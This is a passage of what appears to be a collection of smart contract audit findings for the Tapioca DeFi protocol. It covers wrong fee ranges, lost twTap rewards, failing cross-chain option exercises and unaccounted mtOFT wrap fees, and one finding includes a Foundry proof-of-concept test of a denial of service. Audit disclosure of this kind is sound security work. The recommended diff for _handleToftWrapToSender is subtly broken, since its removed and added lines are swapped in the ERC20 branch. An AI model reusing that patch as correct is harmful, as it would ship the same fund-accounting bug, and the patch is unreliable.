_computeVariableOpeningFee()):\\n```\\n// BigBang.sol\\n\\nfunction setMinAndMaxMintRange(uint256 _min, uint256 _max) external onlyOwner {\\n emit UpdateMinMaxMintRange(minMintFeeStart, _min, maxMintFeeStart, _max);\\n\\n if (_min >= _max) revert NotValid(); \\n\\n minMintFeeStart = _min;\\n maxMintFeeStart = _max;\\n } \\n```\\n\\nThis will make it impossible to properly update the `maxMintFeeStart` and `minMintFeeStart` to have proper values because if it is enforced that `maxMintFeeStart` > than `minMintFeeStart`, then `_computeVariableOpeningFee()` will always enter the first `if (_exchangeRate >= minMintFeeStart)` and wrongly return the minimum fee.
The mitigation for this is straightforward. Change the `setMinAndMaxMintRange()` function so that `_max` is enforced to be smaller than _min:\\n```\\n// BigBang.sol\\n\\nfunction setMinAndMaxMintRange(uint256 _min, uint256 _max) external onlyOwner {\\n emit UpdateMinMaxMintRange(minMintFeeStart, _min, maxMintFeeStart, _max);\\n\\n// Remove the line below\\n if (_min >= _max) revert NotValid(); \\n// Add the line below\\n if (_max >= _min) revert NotValid(); \\n\\n minMintFeeStart = _min;\\n maxMintFeeStart = _max;\\n } \\n```\\n\\nAlso, I would recommend not to hardcode the values of `maxMintFeeStart` and `minMintFeeStart` and pass them as parameter instead, inside `_initCoreStorage()` , as they should always be different considering the collateral configured for that market.
Medium. Although this looks like a bug that doesn't have a big impact in the protocol, it actually does. The fees will always be wrongly applied for collaterals different from stablecoins, and applying these kind of fees when borrowing is one of the core mechanisms to keep USDO peg, as described in Tapioca's documentation. If this mechanisms doesn't work properly, users won't be properly incentivized to borrow/repay considering the different market conditions that might take place and affect USDO's peg to $1.
```\\n// BBLendingCommon.sol\\n\\nfunction _computeVariableOpeningFee(uint256 amount) internal returns (uint256) {\\n if (amount == 0) return 0; \\n \\n //get asset <> USDC price ( USDO <> USDC ) \\n (bool updated, uint256 _exchangeRate) = assetOracle.get(oracleData); \\n if (!updated) revert OracleCallFailed();\\n \\n if (_exchangeRate >= minMintFeeStart) { \\n return (amount * minMintFee) / FEE_PRECISION;\\n }\\n if (_exchangeRate <= maxMintFeeStart) { \\n return (amount * maxMintFee) / FEE_PRECISION;\\n }\\n \\n uint256 fee = maxMintFee\\n - (((_exchangeRate - maxMintFeeStart) * (maxMintFee - minMintFee)) / (minMintFeeStart - maxMintFeeStart)); \\n \\n if (fee > maxMintFee) return (amount * maxMintFee) / FEE_PRECISION;\\n if (fee < minMintFee) return (amount * minMintFee) / FEE_PRECISION;\\n\\n if (fee > 0) {\\n return (amount * fee) / FEE_PRECISION;\\n }\\n return 0;\\n }\\n```\\n
Not properly tracking debt accrual leads mintOpenInterestDebt() to lose twTap rewards
medium
Debt accrual is tracked wrongly, making the expected twTap rewards to be potentially lost.\\nPenrose's `mintOpenInterestDebt()` function allows USDO to be minted and distributed as a reward to twTap holders based on the current USDO open interest.\\nIn order to mint and distribute rewards, `mintOpenInterestDebt()` will perform the following steps:\\nQuery the current `USDO.supply()`\\nCompute the total debt from all the markets (Origins included)\\nIf `totalUsdoDebt > usdoSupply`, then distribute the difference among the twTap holders\\n```\\nfunction mintOpenInterestDebt(address twTap) external onlyOwner { \\n uint256 usdoSupply = usdoToken.totalSupply();\\n\\n // nothing to mint when there's no activity\\n if (usdoSupply > 0) { \\n // re-compute latest debt\\n uint256 totalUsdoDebt = computeTotalDebt(); \\n \\n //add Origins debt \\n //Origins market doesn't accrue in time but increases totalSupply\\n //and needs to be taken into account here\\n uint256 len = allOriginsMarkets.length;\\n for (uint256 i; i < len; i++) {\\n IMarket market = IMarket(allOriginsMarkets[i]);\\n if (isOriginRegistered[address(market)]) {\\n (uint256 elastic,) = market.totalBorrow();\\n totalUsdoDebt += elastic;\\n }\\n }\\n \\n //debt should always be > USDO supply\\n if (totalUsdoDebt > usdoSupply) { \\n uint256 _amount = totalUsdoDebt - usdoSupply;\\n\\n //mint against the open interest; supply should be fully minted now\\n IUsdo(address(usdoToken)).mint(address(this), _amount);\\n\\n //send it to twTap\\n uint256 rewardTokenId = ITwTap(twTap).rewardTokenIndex(address(usdoToken));\\n _distributeOnTwTap(_amount, rewardTokenId, address(usdoToken), ITwTap(twTap));\\n }\\n } \\n }\\n```\\n\\nThis approach has two main issues that make the current reward distribution malfunction:\\nBecause debt is not actually tracked and is instead directly queried from the current total borrows via `computeTotalDebt()`, if users repay their debt prior to a reward distribution this debt won't be considered for the fees, given that fees will always be calculated considering the current `totalUsdoDebt` and `usdoSupply`.\\nBridging USDO is not considered\\nIf USDO is bridged from another chain to the current chain, then the `usdoToken.totalSupply()` will increment but the `totalUsdoDebt()` won't. This will make rewards never be distributed because `usdoSupply` will always be greater than `totalUsdoDebt`.\\nOn the other hand, if USDO is bridged from the current chain to another chain, the `usdoToken.totalSupply()` will decrement and tokens will be burnt, while `totalUsdoDebt()` will remain the same. This will make more rewards than the expected ones to be distributed because `usdoSupply` will be way smaller than `totalUsdoDebt`.\\nConsider the following scenario: 1000 USDO are borrowed, and already 50 USDO have been accrued as debt.\\nThis makes USDO's totalSupply() to be 1000, while `totalUsdoDebt` be 1050 USDO. If `mintOpenInterestDebt()` is called, 50 USDO should be minted and distributed among twTap holders.\\nHowever, prior to executing `mintOpenInterestDebt()`, a user bridges 100 USDO from chain B, making the total supply increment from 1000 USDO to 1100 USDO. Now, totalSupply() is 1100 USDO, while `totalUsdoDebt` is still 1050, making rewards not be distributed among users because `totalUsdoDebt` < usdoSupply.
One of the possible fixes for this issue is to track debt with a storage variable. Every time a repay is performed, the difference between elastic and base could be accrued to the variable, and such variable could be decremented when the fees distributions are performed. This makes it easier to compute the actual rewards and mitigates the cross-chain issue.
Medium. The fees to be distributed in twTap are likely to always be wrong, making one of the core governance functionalities (locking TAP in order to participate in Tapioca's governance) be broken given that fee distributions (and thus the incentives to participate in governance) won't be correct.
```\\nfunction mintOpenInterestDebt(address twTap) external onlyOwner { \\n uint256 usdoSupply = usdoToken.totalSupply();\\n\\n // nothing to mint when there's no activity\\n if (usdoSupply > 0) { \\n // re-compute latest debt\\n uint256 totalUsdoDebt = computeTotalDebt(); \\n \\n //add Origins debt \\n //Origins market doesn't accrue in time but increases totalSupply\\n //and needs to be taken into account here\\n uint256 len = allOriginsMarkets.length;\\n for (uint256 i; i < len; i++) {\\n IMarket market = IMarket(allOriginsMarkets[i]);\\n if (isOriginRegistered[address(market)]) {\\n (uint256 elastic,) = market.totalBorrow();\\n totalUsdoDebt += elastic;\\n }\\n }\\n \\n //debt should always be > USDO supply\\n if (totalUsdoDebt > usdoSupply) { \\n uint256 _amount = totalUsdoDebt - usdoSupply;\\n\\n //mint against the open interest; supply should be fully minted now\\n IUsdo(address(usdoToken)).mint(address(this), _amount);\\n\\n //send it to twTap\\n uint256 rewardTokenId = ITwTap(twTap).rewardTokenIndex(address(usdoToken));\\n _distributeOnTwTap(_amount, rewardTokenId, address(usdoToken), ITwTap(twTap));\\n }\\n } \\n }\\n```\\n
USDO's MSG_TAP_EXERCISE compose messages where exercised options must be withdrawn to another chain will always fail due to wrongly requiring sendParam's to address to be whitelisted in the Cluster
medium
Wrongly checking for the sendParam's `to` address `to` be whitelisted when bridging exercised options will make such calls always fail.\\nOne of the compose messages allowed in USDO is `MSG_TAP_EXERCISE`. This type of message will trigger UsdoOptionReceiverModule's `exerciseOptionsReceiver()` function, which allows users to exercise their options and obtain the corresponding exercised tapOFTs.\\nUsers can choose to obtain their tapOFTs in the chain where `exerciseOptionsReceiver()` is being executed, or they can choose to send a message to a destination chain of their choice. If users decide to bridge the exercised option, the `lzSendParams` fields contained in the `ExerciseOptionsMsg` struct decoded from the `_data` passed as parameter in `exerciseOptionsReceiver()` should be filled with the corresponding data to perform the cross-chain call.\\nThe problem is that the `exerciseOptionsReceiver()` performs an unnecessary validation that requires the `to` parameter inside the `lzSendParams` `to` be whitelisted in the protocol's cluster:\\n```\\n// UsdoOptionReceiverModule.sol\\n\\nfunction exerciseOptionsReceiver(address srcChainSender, bytes memory _data) public payable {\\n // Decode received message.\\n ExerciseOptionsMsg memory msg_ = UsdoMsgCodec.decodeExerciseOptionsMsg(_data);\\n \\n _checkWhitelistStatus(msg_.optionsData.target);\\n _checkWhitelistStatus(OFTMsgCodec.bytes32ToAddress(msg_.lzSendParams.sendParam.to)); // <---- This validation is wrong \\n // rest of code\\n \\n \\n }\\n```\\n\\n`msg_.lzSendParams.sendParam.to` corresponds to the address that will obtain the tokens in the destination chain after bridging the exercised option, which can and should actually be any address that the user exercising the option decides, so this address shouldn't be required to be whitelisted in the protocol's Cluster (given that the Cluster only whitelists certain protocol-related addresses such as contracts or special addresses).\\nBecause of this, transactions where users try to bridge the exercised options will always fail because the `msg_.lzSendParams.sendParam.to` address specified by users will never be whitelisted in the Cluster.
Remove the whitelist check against the `msg_.lzSendParams.sendParam.to` param inexerciseOptionsReceiver():\\n```\\n// UsdoOptionReceiverModule.sol\\n\\nfunction exerciseOptionsReceiver(address srcChainSender, bytes memory _data) public payable {\\n // Decode received message.\\n ExerciseOptionsMsg memory msg_ = UsdoMsgCodec.decodeExerciseOptionsMsg(_data);\\n \\n _checkWhitelistStatus(msg_.optionsData.target);\\n// Remove the line below\\n _checkWhitelistStatus(OFTMsgCodec.bytes32ToAddress(msg_.lzSendParams.sendParam.to)); \\n // rest of code\\n \\n \\n }\\n```\\n
High. The functionality of exercising options and bridging them in the same transaction is one of the wide range of core functionalities that should be completely functional in Tapioca. However, this functionality will always fail due to the mentioned issue, forcing users to only be able to exercise options in the same chain.
```\\n// UsdoOptionReceiverModule.sol\\n\\nfunction exerciseOptionsReceiver(address srcChainSender, bytes memory _data) public payable {\\n // Decode received message.\\n ExerciseOptionsMsg memory msg_ = UsdoMsgCodec.decodeExerciseOptionsMsg(_data);\\n \\n _checkWhitelistStatus(msg_.optionsData.target);\\n _checkWhitelistStatus(OFTMsgCodec.bytes32ToAddress(msg_.lzSendParams.sendParam.to)); // <---- This validation is wrong \\n // rest of code\\n \\n \\n }\\n```\\n
Withdrawing to other chain when exercising options won't work as expected, leading to DoS
medium
Withdrawing to another chain when exercising options will always fail because the implemented functionality does not bridge the tokens exercised in the option, and tries to perform a regular cross-chain call instead.\\nTapioca incorporates a DAO Share Options (DSO) program where users can lock USDO in order to obtain TAP tokens at a discounted price.\\nIn order to exercise their options, users need to execute a compose call with a message type of `MSG_TAP_EXERCISE`, which will trigger the UsdoOptionReceiverModule's `exerciseOptionsReceiver()` function.\\nWhen exercising their options, users can decide to bridge the obtained TAP tokens into another chain by setting the `msg_.withdrawOnOtherChain` to true:\\n```\\n// UsdoOptionReceiverModule.sol\\n\\nfunction exerciseOptionsReceiver(address srcChainSender, bytes memory _data) public payable {\\n \\n // rest of code \\n \\n ITapiocaOptionBroker(_options.target).exerciseOption(\\n _options.oTAPTokenID,\\n address(this), //payment token \\n _options.tapAmount \\n ); \\n \\n // rest of code\\n \\n address tapOft = ITapiocaOptionBroker(_options.target).tapOFT();\\n if (msg_.withdrawOnOtherChain) {\\n // rest of code \\n\\n // Sends to source and preserve source `msg.sender` (`from` in this case).\\n _sendPacket(msg_.lzSendParams, msg_.composeMsg, _options.from); \\n\\n // Refund extra amounts\\n if (_options.tapAmount - amountToSend > 0) {\\n IERC20(tapOft).safeTransfer(_options.from, _options.tapAmount - amountToSend);\\n }\\n } else {\\n //send on this chain\\n IERC20(tapOft).safeTransfer(_options.from, _options.tapAmount);\\n }\\n }\\n } \\n```\\n\\nAs the code snippet shows, `exerciseOptionsReceiver()` will perform mainly 2 steps:\\nExercise the option by calling `_options.target.exerciseOption()` . This will make USDO tokens serving as a payment for the `tapOft` tokens be transferred from the user, and in exchange the corresponding option `tapOft` tokens will be transferred to the USDO contract so that they can later be transferred to the user.\\nTAP tokens will be sent to the user. This can be done in two ways:\\nIf the user doesn't decide to bridge them (by leaving `msg_.withdrawOnOtherChain` as false), the `tapOft` tokens will simply be transferred to the `_options.from` address, succesfully exercising the option\\nOn the other hand, if the user decides to bridge the exercised option, the internal `_sendPacket()` function will be triggered, which will perform a call via LayerZero to the destination chain:\\n`// UsdoOptionReceiverModule.sol\\n\\nfunction _sendPacket(LZSendParam memory _lzSendParam, bytes memory _composeMsg, address _srcChainSender)\\n private\\n returns (MessagingReceipt memory msgReceipt, OFTReceipt memory oftReceipt)\\n {\\n /// @dev Applies the token transfers regarding this send() operation.\\n // - amountDebitedLD is the amount in local decimals that was ACTUALLY debited from the sender.\\n // - amountToCreditLD is the amount in local decimals that will be credited to the recipient on the remote OFT instance.\\n (uint256 amountDebitedLD, uint256 amountToCreditLD) =\\n _debit(_lzSendParam.sendParam.amountLD, _lzSendParam.sendParam.minAmountLD, _lzSendParam.sendParam.dstEid);\\n \\n /// @dev Builds the options and OFT message to quote in the endpoint.\\n (bytes memory message, bytes memory options) = _buildOFTMsgAndOptionsMemory(\\n _lzSendParam.sendParam, _lzSendParam.extraOptions, _composeMsg, amountToCreditLD, _srcChainSender\\n );\\n \\n /// @dev Sends the message to the LayerZero endpoint and returns the LayerZero msg receipt.\\n msgReceipt =\\n _lzSend(_lzSendParam.sendParam.dstEid, message, options, _lzSendParam.fee, _lzSendParam.refundAddress);\\n /// @dev Formulate the OFT receipt.\\n oftReceipt = OFTReceipt(amountDebitedLD, amountToCreditLD);\\n\\n emit OFTSent(msgReceipt.guid, _lzSendParam.sendParam.dstEid, msg.sender, amountDebitedLD);\\n }`\\nThe problem with the approach followed when users want to bridge the exercised options is that the contract will not actually bridge the exercised `tapOft` tokens by calling the tapOft's `sendPacket()` function (which is the actual way by which the token can be transferred cross-chain). Instead, the contract calls `_sendPacket()` , a function that will try to perform a USDO cross-chain call (instead of a `tapOft` cross-chain call). This will make the `_debit()` function inside `_sendPacket()` be executed, which will try to burn USDO tokens from the msg.sender:\\n```\\n// OFT.sol \\n\\nfunction _debit(\\n uint256 _amountLD, \\n uint256 _minAmountLD,\\n uint32 _dstEid\\n ) internal virtual override returns (uint256 amountSentLD, uint256 amountReceivedLD) {\\n (amountSentLD, amountReceivedLD) = _debitView(_amountLD, _minAmountLD, _dstEid);\\n \\n // @dev In NON-default OFT, amountSentLD could be 100, with a 10% fee, the amountReceivedLD amount is 90,\\n // therefore amountSentLD CAN differ from amountReceivedLD.\\n \\n // @dev Default OFT burns on src.\\n _burn(msg.sender, amountSentLD);\\n }\\n```\\n\\nThis leads to two possible outcomes:\\n`msg.sender` (the LayerZero endpoint) has enough `amountSentLD` of USDO tokens to be burnt. In this situation, USDO tokens will be incorrectly burnt from the user, leading to a loss of balance for him. After this, the burnt USDO tokens will be bridged. This outcome greatly affect the user in two ways:\\nUSDO tokens are incorrectly burnt from his balance\\nThe exercised `tapOft` tokens remain stuck forever in the USDO contract because they are never actually bridged\\nThe most probable: `msg.sender` (LayerZero endpoint) does not have enough `amountSentLD` of USDO tokens to be burnt. In this case, an error will be thrown and the whole call will revert, leading to a DoS\\nProof of Concept\\nThe following poc shows how the function will be DoS'ed due to the sender not having enough USDO to be burnt. In order to execute the Poc, perform the following steps:\\nRemove the `_checkWhitelistStatus(OFTMsgCodec.bytes32ToAddress(msg_.lzSendParams.sendParam.to));` line in UsdoOptionReceiverModule.sol's `exerciseOptionsReceiver()` function (it is wrong and related to another vulnerability)\\nPaste the following code in Tapioca-bar/test/Usdo.t.sol:\\n`// Usdo.t.sol\\n\\nfunction testVuln_exercise_option() public {\\n uint256 erc20Amount_ = 1 ether;\\n\\n //setup\\n {\\n deal(address(aUsdo), address(this), erc20Amount_);\\n\\n // @dev send TAP to tOB\\n deal(address(tapOFT), address(tOB), erc20Amount_);\\n\\n // @dev set `paymentTokenAmount` on `tOB`\\n tOB.setPaymentTokenAmount(erc20Amount_);\\n }\\n \\n //useful in case of withdraw after borrow\\n LZSendParam memory withdrawLzSendParam_;\\n MessagingFee memory withdrawMsgFee_; // Will be used as value for the composed msg\\n\\n {\\n // @dev `withdrawMsgFee_` is to be airdropped on dst to pay for the send to source operation (B->A).\\n PrepareLzCallReturn memory prepareLzCallReturn1_ = usdoHelper.prepareLzCall( // B->A data\\n IUsdo(address(bUsdo)),\\n PrepareLzCallData({\\n dstEid: aEid,\\n recipient: OFTMsgCodec.addressToBytes32(address(this)),\\n amountToSendLD: erc20Amount_,\\n minAmountToCreditLD: erc20Amount_,\\n msgType: SEND,\\n composeMsgData: ComposeMsgData({\\n index: 0,\\n gas: 0,\\n value: 0,\\n data: bytes(""),\\n prevData: bytes(""),\\n prevOptionsData: bytes("")\\n }),\\n lzReceiveGas: 500_000,\\n lzReceiveValue: 0\\n })\\n );\\n withdrawLzSendParam_ = prepareLzCallReturn1_.lzSendParam;\\n withdrawMsgFee_ = prepareLzCallReturn1_.msgFee;\\n }\\n\\n /**\\n * Actions\\n */\\n uint256 tokenAmountSD = usdoHelper.toSD(erc20Amount_, aUsdo.decimalConversionRate());\\n\\n //approve magnetar\\n ExerciseOptionsMsg memory exerciseMsg = ExerciseOptionsMsg({\\n optionsData: IExerciseOptionsData({\\n from: address(this),\\n target: address(tOB), \\n paymentTokenAmount: tokenAmountSD,\\n oTAPTokenID: 0, // @dev ignored in TapiocaOptionsBrokerMock\\n tapAmount: tokenAmountSD\\n }),\\n withdrawOnOtherChain: true,\\n lzSendParams: LZSendParam({\\n sendParam: SendParam({\\n dstEid: 0,\\n to: "0x",\\n amountLD: erc20Amount_,\\n minAmountLD: erc20Amount_,\\n extraOptions: "0x",\\n composeMsg: "0x",\\n oftCmd: "0x"\\n }),\\n fee: MessagingFee({nativeFee: 0, lzTokenFee: 0}),\\n extraOptions: "0x",\\n refundAddress: address(this)\\n }),\\n composeMsg: "0x"\\n });\\n bytes memory sendMsg_ = usdoHelper.buildExerciseOptionMsg(exerciseMsg);\\n\\n PrepareLzCallReturn memory prepareLzCallReturn2_ = usdoHelper.prepareLzCall(\\n IUsdo(address(aUsdo)),\\n PrepareLzCallData({\\n dstEid: bEid,\\n recipient: OFTMsgCodec.addressToBytes32(address(this)),\\n amountToSendLD: erc20Amount_,\\n minAmountToCreditLD: erc20Amount_,\\n msgType: PT_TAP_EXERCISE,\\n composeMsgData: ComposeMsgData({\\n index: 0,\\n gas: 500_000,\\n value: uint128(withdrawMsgFee_.nativeFee),\\n data: sendMsg_,\\n prevData: bytes(""),\\n prevOptionsData: bytes("")\\n }),\\n lzReceiveGas: 500_000,\\n lzReceiveValue: 0\\n })\\n );\\n bytes memory composeMsg_ = prepareLzCallReturn2_.composeMsg;\\n bytes memory oftMsgOptions_ = prepareLzCallReturn2_.oftMsgOptions;\\n MessagingFee memory msgFee_ = prepareLzCallReturn2_.msgFee;\\n LZSendParam memory lzSendParam_ = prepareLzCallReturn2_.lzSendParam;\\n\\n (MessagingReceipt memory msgReceipt_,) = aUsdo.sendPacket{value: msgFee_.nativeFee}(lzSendParam_, composeMsg_);\\n\\n {\\n verifyPackets(uint32(bEid), address(bUsdo));\\n\\n vm.expectRevert("ERC20: burn amount exceeds balance");\\n this.lzCompose(\\n bEid,\\n address(bUsdo),\\n oftMsgOptions_,\\n msgReceipt_.guid,\\n address(bUsdo),\\n abi.encodePacked(\\n OFTMsgCodec.addressToBytes32(address(this)), composeMsg_\\n )\\n ); \\n\\n }\\n\\n }`\\nRun the poc with the following command, inside the Tapioca-bar repo: `forge test --mt testVuln_exercise_option`\\nWe can see how the "ERC20: burn amount exceeds balance" error is thrown due to the issue mentioned in the report.
If users decide to bridge their exercised tapOft, the sendPacket() function incorporated in the tapOft contract should be used instead of UsdoOptionReceiverModule's internal _sendPacket() function, so that the actual bridged asset is the tapOft and not the USDO.
High. As demonstrated, two critical outcomes might affect the user:\\n`tapOft` funds will remain stuck forever in the USDO contract and USDO will be incorrectly burnt from `msg.sender`\\nThe core functionality of exercising and bridging options always reverts and effectively causes a DoS.
```\\n// UsdoOptionReceiverModule.sol\\n\\nfunction exerciseOptionsReceiver(address srcChainSender, bytes memory _data) public payable {\\n \\n // rest of code \\n \\n ITapiocaOptionBroker(_options.target).exerciseOption(\\n _options.oTAPTokenID,\\n address(this), //payment token \\n _options.tapAmount \\n ); \\n \\n // rest of code\\n \\n address tapOft = ITapiocaOptionBroker(_options.target).tapOFT();\\n if (msg_.withdrawOnOtherChain) {\\n // rest of code \\n\\n // Sends to source and preserve source `msg.sender` (`from` in this case).\\n _sendPacket(msg_.lzSendParams, msg_.composeMsg, _options.from); \\n\\n // Refund extra amounts\\n if (_options.tapAmount - amountToSend > 0) {\\n IERC20(tapOft).safeTransfer(_options.from, _options.tapAmount - amountToSend);\\n }\\n } else {\\n //send on this chain\\n IERC20(tapOft).safeTransfer(_options.from, _options.tapAmount);\\n }\\n }\\n } \\n```\\n
Not considering fees when wrapping mtOFTs leads to DoS in leverage executors
medium
When wrapping mtOFTs in leverage executors, fees are not considered, making calls always revert because the obtained assets amount is always smaller than expected.\\nTapioca will allow tOFTs and mtOFTs to act as collateral in some of Tapioca's markets, as described by the documentation. Although regular tOFTs don't hardcode fees to 0, meta-tOFTs (mtOFTs) could incur a fee when wrapping, as shown in the following code snippet, where `_checkAndExtractFees()` is used to calculate a fee considering the wrapped _amount:\\n```\\n// mTOFT.sol\\n\\nfunction wrap(address _fromAddress, address _toAddress, uint256 _amount)\\n external\\n payable \\n whenNotPaused\\n nonReentrant\\n returns (uint256 minted)\\n {\\n // rest of code\\n \\n uint256 feeAmount = _checkAndExtractFees(_amount);\\n if (erc20 == address(0)) {\\n _wrapNative(_toAddress, _amount, feeAmount);\\n } else { \\n if (msg.value > 0) revert mTOFT_NotNative();\\n _wrap(_fromAddress, _toAddress, _amount, feeAmount);\\n }\\n\\n return _amount - feeAmount;\\n } \\n```\\n\\nWhen fees are applied, the amount of `mtOFTs` minted to the caller won't be the full `_amount`, but the `_amount - feeAmount`.\\nTapioca's leverage executors are required to wrap/unwrap assets when tOFTs are used as collateral in order to properly perform their logic. The problem is that leverage executors don't consider the fact that if collateral is an `mtOFT`, then a fee could be applied.\\nLet's consider the `BaseLeverageExecutor` ****contract (who whas the `_swapAndTransferToSender()` function, called by all leverage executors):\\n```\\n// BaseLeverageExecutor.sol\\n\\nfunction _swapAndTransferToSender( \\n bool sendBack, \\n address tokenIn,\\n address tokenOut,\\n uint256 amountIn, \\n bytes memory data\\n ) internal returns (uint256 amountOut) {\\n SLeverageSwapData memory swapData = abi.decode(data, (SLeverageSwapData)); \\n \\n // rest of code\\n \\n // If the tokenOut is a tOFT, wrap it. Handles ETH and ERC20.\\n // If `sendBack` is true, wrap the `amountOut to` the sender. else, wrap it to this contract.\\n if (swapData.toftInfo.isTokenOutToft) { \\n _handleToftWrapToSender(sendBack, tokenOut, amountOut);\\n } else if (sendBack == true) {\\n // If the token wasn't sent by the wrap OP, send it as a transfer.\\n IERC20(tokenOut).safeTransfer(msg.sender, amountOut);\\n } \\n } \\n```\\n\\nAs we can see in the code snippet, if the user requires to wrap the obtained swapped assets by setting `swapData.toftInfo.isTokenOutToft` to `true`, then the internal `_handleToftWrapToSender()` function will be called. This function will wrap the tOFT (or mtOFT) and send it to `msg.sender` or `address(this)`, depending on the user's `sendBack` input:\\n```\\n// BaseLeverageExecutor.sol\\n\\nfunction _handleToftWrapToSender(bool sendBack, address tokenOut, uint256 amountOut) internal {\\n address toftErc20 = ITOFT(tokenOut).erc20();\\n address wrapsTo = sendBack == true ? msg.sender : address(this);\\n\\n if (toftErc20 == address(0)) {\\n // If the tOFT is for ETH, withdraw from WETH and wrap it.\\n weth.withdraw(amountOut);\\n ITOFT(tokenOut).wrap{value: amountOut}(address(this), wrapsTo, amountOut);\\n } else {\\n // If the tOFT is for an ERC20, wrap it.\\n toftErc20.safeApprove(tokenOut, amountOut);\\n ITOFT(tokenOut).wrap(address(this), wrapsTo, amountOut);\\n toftErc20.safeApprove(tokenOut, 0);\\n }\\n }\\n```\\n\\nThe problem here is that if `tokenOut` is an mtOFT, then a fee might be applied when wrapping. However, this function does not consider the `wrap()` function return value (which as shown in the first code snippet in this report, whill return the actual minted amount, which is always `_amount - feeAmount` ).\\nThis leads to a vulnerability where contracts performing this wraps will believe they have more funds than the intended, leading to a Denial of Service and making the leverage executors never work with mtOFTs.\\nLet's say a user wants to lever up by calling BBLeverage.sol's `buyCollateral()` function:\\n```\\n// BBLeverage.sol\\n\\nfunction buyCollateral(address from, uint256 borrowAmount, uint256 supplyAmount, bytes calldata data) \\n external\\n optionNotPaused(PauseType.LeverageBuy)\\n solvent(from, false)\\n notSelf(from) \\n returns (uint256 amountOut) \\n { \\n \\n\\n // rest of code\\n \\n { \\n amountOut = leverageExecutor.getCollateral( \\n collateralId, \\n address(asset),\\n address(collateral),\\n memoryData.supplyShareToAmount + memoryData.borrowShareToAmount,\\n calldata_.from,\\n calldata_.data\\n );\\n }\\n uint256 collateralShare = yieldBox.toShare(collateralId, amountOut, false);\\n address(asset).safeApprove(address(yieldBox), type(uint256).max); \\n \\n \\n yieldBox.depositAsset(collateralId, address(this), address(this), 0, collateralShare); \\n address(asset).safeApprove(address(yieldBox), 0); \\n \\n // rest of code\\n } \\n```\\n\\nAs we can see, the contract will call `leverageExecutor.getCollateral()` in order to perform the swap. Notice how the value returned by `getCollateral()` will be stored in the amountOut variable, which will later be converted to `collateralShare` and deposited into the `yieldBox`.\\nLet's say the `leverageExecutor` in this case is the `SimpleLeverageExecutor.sol` contract. When `getCollateral()` is called, `SimpleLeverageExecutor` will directly return the value returned by the internal `_swapAndTransferToSender()` function:\\n`// `SimpleLeverageExecutor.sol`\\n\\nfunction getCollateral( \\n address assetAddress,\\n address collateralAddress,\\n uint256 assetAmountIn,\\n bytes calldata swapperData \\n ) external payable override returns (uint256 collateralAmountOut) {\\n // Should be called only by approved SGL/BB markets.\\n if (!cluster.isWhitelisted(0, msg.sender)) revert SenderNotValid();\\n return _swapAndTransferToSender(true, assetAddress, collateralAddress, assetAmountIn, swapperData);\\n } `\\nAs seen in the report, `_swapAndTransferToSender()` won't return the amount swapped and wrapped, and will instead only return the amount obtained when swapping, assuming that wraps will always mint the same amount:\\n`// BaseLeverageExecutor.sol\\n\\nfunction _swapAndTransferToSender( \\n bool sendBack, \\n address tokenIn,\\n address tokenOut,\\n uint256 amountIn, \\n bytes memory data\\n ) internal returns (uint256 amountOut) {\\n \\n ...\\n \\n amountOut = swapper.swap(swapperData, amountIn, swapData.minAmountOut);\\n \\n ...\\n if (swapData.toftInfo.isTokenOutToft) { \\n _handleToftWrapToSender(sendBack, tokenOut, amountOut);\\n } else if (sendBack == true) {\\n // If the token wasn't sent by the wrap OP, send it as a transfer.\\n IERC20(tokenOut).safeTransfer(msg.sender, amountOut);\\n } \\n } `\\nIf the tokenOut is an mtOFT, the actual obtained amount will be smaller than the `amountOut` stored due to the fees that might be applied.\\nThis makes the `yieldBox.depositAsset()` in `BBLeverage.sol` inevitably always fail due to not having enough funds to deposit into the YieldBox effectively causing a Denial of Service
Consider the fees applied when wrapping assets by following OFT's API, and store the returned value by `wrap()`. For example, `_handleToftWrapToSender()` could return an integer with the actual amount obtained after wrapping:\\n```\\n// BaseLeverageExecutor.sol\\n\\nfunction _handleToftWrapToSender(bool sendBack, address tokenOut, uint256 amountOut) internal returns(uint256 _amountOut) {\\n address toftErc20 = ITOFT(tokenOut).erc20();\\n address wrapsTo = sendBack == true ? msg.sender : address(this);\\n\\n if (toftErc20 == address(0)) {\\n // If the tOFT is for ETH, withdraw from WETH and wrap it.\\n weth.withdraw(amountOut);\\n// Remove the line below\\n ITOFT(tokenOut).wrap{value: amountOut}(address(this), wrapsTo, amountOut);\\n// Add the line below\\n _amountOut = ITOFT(tokenOut).wrap{value: amountOut}(address(this), wrapsTo, amountOut);\\n } else {\\n // If the tOFT is for an ERC20, wrap it.\\n toftErc20.safeApprove(tokenOut, amountOut);\\n// Remove the line below\\n _amountOut = ITOFT(tokenOut).wrap(address(this), wrapsTo, amountOut);\\n// Add the line below\\n ITOFT(tokenOut).wrap(address(this), wrapsTo, amountOut);\\n toftErc20.safeApprove(tokenOut, 0);\\n }\\n }\\n```\\n\\nAnd this value should be the one stored in _swapAndTransferToSender()'s amountOut:\\n```\\nfunction _swapAndTransferToSender( \\n bool sendBack, \\n address tokenIn,\\n address tokenOut,\\n uint256 amountIn, \\n bytes memory data\\n ) internal returns (uint256 amountOut) {\\n SLeverageSwapData memory swapData = abi.decode(data, (SLeverageSwapData)); \\n \\n // rest of code\\n \\n // If the tokenOut is a tOFT, wrap it. Handles ETH and ERC20.\\n // If `sendBack` is true, wrap the `amountOut to` the sender. else, wrap it to this contract.\\n if (swapData.toftInfo.isTokenOutToft) { \\n// Remove the line below\\n _handleToftWrapToSender(sendBack, tokenOut, amountOut);\\n// Add the line below\\n amountOut = _handleToftWrapToSender(sendBack, tokenOut, amountOut);\\n } else if (sendBack == true) {\\n // If the token wasn't sent by the wrap OP, send it as a transfer.\\n IERC20(tokenOut).safeTransfer(msg.sender, amountOut);\\n } \\n } \\n```\\n
High. The core functionality of leverage won't work if the tokens are mtOFT tokens.
```\\n// mTOFT.sol\\n\\nfunction wrap(address _fromAddress, address _toAddress, uint256 _amount)\\n external\\n payable \\n whenNotPaused\\n nonReentrant\\n returns (uint256 minted)\\n {\\n // rest of code\\n \\n uint256 feeAmount = _checkAndExtractFees(_amount);\\n if (erc20 == address(0)) {\\n _wrapNative(_toAddress, _amount, feeAmount);\\n } else { \\n if (msg.value > 0) revert mTOFT_NotNative();\\n _wrap(_fromAddress, _toAddress, _amount, feeAmount);\\n }\\n\\n return _amount - feeAmount;\\n } \\n```\\n
Secondary Big Bang market rates can be manipulated due to not triggering penrose.reAccrueBigBangMarkets(); when leveraging
medium
